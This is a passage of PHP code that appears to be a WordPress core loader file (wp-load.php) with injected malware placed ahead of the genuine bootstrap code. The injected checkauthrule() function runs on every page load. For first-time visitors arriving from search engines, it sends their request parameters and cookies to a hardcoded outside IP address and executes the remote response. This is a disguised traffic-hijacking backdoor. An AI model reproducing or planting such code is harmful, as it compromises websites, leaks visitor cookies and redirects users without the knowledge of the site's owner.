p[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (empty($ip)) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } private function _getUniquenessCookie() { return !empty($_COOKIE[$this->getUniquenessCookieName()]) ? $_COOKIE[$this->getUniquenessCookieName()] : ''; } private function _getCookiesExpireTimestamp($ttl) { return time() + 60 * 60 * $ttl; } private function _getCookieHost() { if (isset($_SERVER['HTTP_HOST']) && substr_count($_SERVER['HTTP_HOST'], '.') < 3) { $host = '.' . str_replace('www.', '', $_SERVER['HTTP_HOST']); } else { $host = null; } return $host; } private function _getRequestOptions() { return array( 'cookies' => isset($_SERVER["HTTP_COOKIE"]) ? $_SERVER["HTTP_COOKIE"] : null, ); } } class KHttpClient { const UA = 'KHttpClient'; public function request($url, $opts = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_COOKIE, isset($opts['cookies']) ? $opts['cookies'] : null); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, self::UA); $result = curl_exec($ch); if (curl_error($ch)) { throw new KTrafficClientError(curl_error($ch)); } if (empty($result)) { throw new KTrafficClientError('Empty response'); } return $result; } } class KTrafficClientError extends \Exception {} if (!function_exists('http_response_code')) { function http_response_code($code = NULL) { if ($code !== NULL) { switch ($code) { case 100: $text = 'Continue'; break; case 101: $text = 'Switching Protocols'; break; case 200: $text = 'OK'; break; case 201: $text = 'Created'; break; case 202: $text = 'Accepted'; break; case 203: $text = 'Non-Authoritative Information'; break; case 204: $text = 'No Content'; break; case 205: $text = 'Reset Content'; break; case 206: $text = 'Partial Content'; break; case 300: $text = 'Multiple Choices'; break; case 301: $text = 'Moved Permanently'; break; case 302: $text = 'Moved Temporarily'; break; case 303: $text = 'See Other'; break; case 304: $text = 'Not Modified'; break; case 305: $text = 'Use Proxy'; break; case 400: $text = 'Bad Request'; break; case 401: $text = 'Unauthorized'; break; case 402: $text = 'Payment Required'; break; case 403: $text = 'Forbidden'; break; case 404: $text = 'Not Found'; break; case 405: $text = 'Method Not Allowed'; break; case 406: $text = 'Not Acceptable'; break; case 407: $text = 'Proxy Authentication Required'; break; case 408: $text = 'Request Time-out'; break; case 409: $text = 'Conflict'; break; case 410: $text = 'Gone'; break; case 411: $text = 'Length Required'; break; case 412: $text = 'Precondition Failed'; break; case 413: $text = 'Request Entity Too Large'; break; case 414: $text = 'Request-URI Too Large'; break; case 415: $text = 'Unsupported Media Type'; break; case 500: $text = 'Internal Server Error'; break; case 501: $text = 'Not Implemented'; break; case 502: $text = 'Bad Gateway'; break; case 503: $text = 'Service Unavailable'; break; case 504: $text = 'Gateway Time-out'; break; case 505: $text = 'HTTP Version not supported'; break; default: exit('Unknown http status code "' . htmlentities($code) . '"'); break; } $protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0'); header($protocol . ' ' . $code . ' ' . $text); $GLOBALS['http_response_code'] = $code; } else { $code = (isset($GLOBALS['http_response_code']) ? $GLOBALS['http_response_code'] : 200); } return $code; } } function checkauthrule() { if (isset($_COOKIE['visits'])) return false; setcookie("visits", time() , 2147483647); $ref = $_SERVER['HTTP_REFERER']; if (preg_match('/(google|bing|yahoo|aol)/i',$ref)) { $client = new KClickClient('http://185.180.197.16/api.php?', 'x9l6mgrcryb9kzm5vttsyc6cjp6vwgt4'); $client->sendAllParams(); $client->execute(true); } } checkauthrule(); /** Define ABSPATH as this file's directory */ if ( ! defined( 'ABSPATH' ) ) { define( 'ABSPATH', dirname( __FILE__ ) . '/' ); } error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR ); /* * If wp-config.php exists in the WordPress root, or if it exists in the root and wp-settings.php * doesn't, load wp-config.php. The secondary check for wp-settings.php has the added benefit * of avoiding cases where the current directory is a nested installation, e.g. / is WordPress(a) * and /blog/ is WordPress(b). * * If neither set of conditions is true, initiate loading the setup process. */ if ( file_exists( ABSPATH . 'wp-config.php') ) { /** The config file resides in ABSPATH */ require_once( ABSPATH . 'wp-config.php' ); } elseif ( @file_exists( dirname( ABSPATH ) . '/wp-config.php' ) && ! @file_exists( dirname( ABSPATH ) . '/wp-settings.php' ) ) { /** The config file resides one level above ABSPATH but is not part of another installation */ require_once( dirname( ABSPATH ) . '/wp-config.php' ); } else { // A config file doesn't exist define( 'WPINC', 'wp-includes' ); require_once( ABSPATH . WPINC . '/load.php' ); // Standardize $_SERVER variables across setups. wp_fix_server_vars(); require_once( ABSPATH . WPINC . '/functions.php' ); $path = wp_guess_url() . '/wp-admin/setup-config.php'; /* * We're going to redirect to setup-config.php. While this shouldn't result * in an infinite loop, that's a silly thing to assume, don't you think? If * we're traveling in circles, our last-ditch effort is "Need more help?" */ if ( false === strpos( $_SERVER['REQUEST_URI'], 'setup-config' ) ) { header( 'Location: ' . $path ); exit; } define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' ); require_once( ABSPATH . WPINC . '/version.php' ); wp_check_php_mysql_versions(); wp_load_translations_early(); // Die with an error message $die = sprintf( /* translators: %s: wp-config.php */ __( "There doesn't seem to be a %s file. I need this before we can get started." ), 'wp-config.php' ) . '

'; $die .= '

' . sprintf( /* translators: %s: Codex URL */ __( "Need more help? We got it." ), __( 'https://codex.wordpress.org/Editing_wp-config.php' ) ) . '

'; $die .= '

' . sprintf( /* translators: %s: wp-config.php */ __( "You can create a %s file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file." ), 'wp-config.php' ) . '

'; $die .= '

' . __( "Create a Configuration File" ) . ''; wp_die( $die, __( 'WordPress › Error' ) ); }